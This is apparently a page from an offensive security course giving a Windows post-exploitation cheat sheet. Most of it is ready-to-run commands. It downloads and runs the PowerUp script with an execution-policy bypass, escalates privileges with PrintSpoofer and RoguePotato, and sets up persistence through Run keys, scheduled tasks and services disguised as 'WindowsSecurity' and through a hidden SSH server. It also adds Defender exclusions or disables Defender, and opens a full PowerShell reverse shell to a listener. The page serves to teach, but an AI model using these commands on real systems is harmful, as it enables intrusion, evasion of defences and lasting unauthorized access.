All course modules are free for self-learning. Tools and source code are paywalled. Study the theory, build the tools, understand the tradecraft.
# Who am I and what can I do? whoami whoami /groups whoami /priv # What's this machine? systeminfo | findstr /B /C:"OS Name" /C:"OS Version" hostname # What's running? tasklist /svc netstat -ano # What's the network? ipconfig /all route print # What services exist? sc query | findstr SERVICE_NAME sc qc# Check service config, look for weak permissions
# Automated enumeration (run these first)
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
# Check for weak services
sc qc
accesschk.exe -uwcqv "Authenticated Users" *
# Exploit SeImpersonatePrivilege
PrintSpoofer.exe -i -c cmd
RoguePotato.exe -r 127.0.0.1 -e "cmd.exe" -l 9999
# User-level: Registry Run key reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsSecurity /t REG_SZ /d "C:\path\payload.exe" /f # Admin-level: Scheduled task schtasks /create /tn "WindowsSecurity" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM # System-level: Service sc create WindowsSecurity binPath= "C:\path\payload.exe" start= auto # The mentor's favorite: SSH server (legitimate, hard to detect) Add-WindowsCapability -Online -Name OpenSSH.Server Start-Service sshd Set-Service -Name sshd -StartupType Automatic
# Silent: Add exclusion (works with Tamper Protection ON) Add-MpPreference -ExclusionPath "C:\path\to\your\folder" # Moderate: Disable real-time monitoring Set-MpPreference -DisableRealtimeMonitoring $true # Nuclear: Uninstall Defender (requires reboot, very noisy) # DON'T do this unless you have no other choice
# Start listener (attacker machine)
nc -lvnp 4444
# Connect back (victim machine)
powershell -c "$c=New-Object Net.Sockets.TCPClient('192.168.1.92',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$e=([Text.Encoding]::ASCII).GetBytes($o2);$s.Write($e,0,$e.Length)}"
# The mentor: "Reverse shell is the basic for everything."